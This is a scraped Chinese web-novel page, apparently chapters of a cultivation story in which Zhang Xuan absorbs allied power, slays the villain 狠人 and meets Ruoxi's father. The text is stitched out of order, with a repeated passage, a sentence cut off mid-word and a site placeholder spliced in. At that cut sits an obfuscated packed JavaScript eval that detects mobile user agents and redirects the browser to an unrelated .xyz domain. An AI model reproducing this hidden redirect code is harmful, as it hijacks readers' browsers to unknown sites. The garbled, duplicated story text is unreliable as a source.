“灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139933|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第176章 你跪下,朕交给你一个任务 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 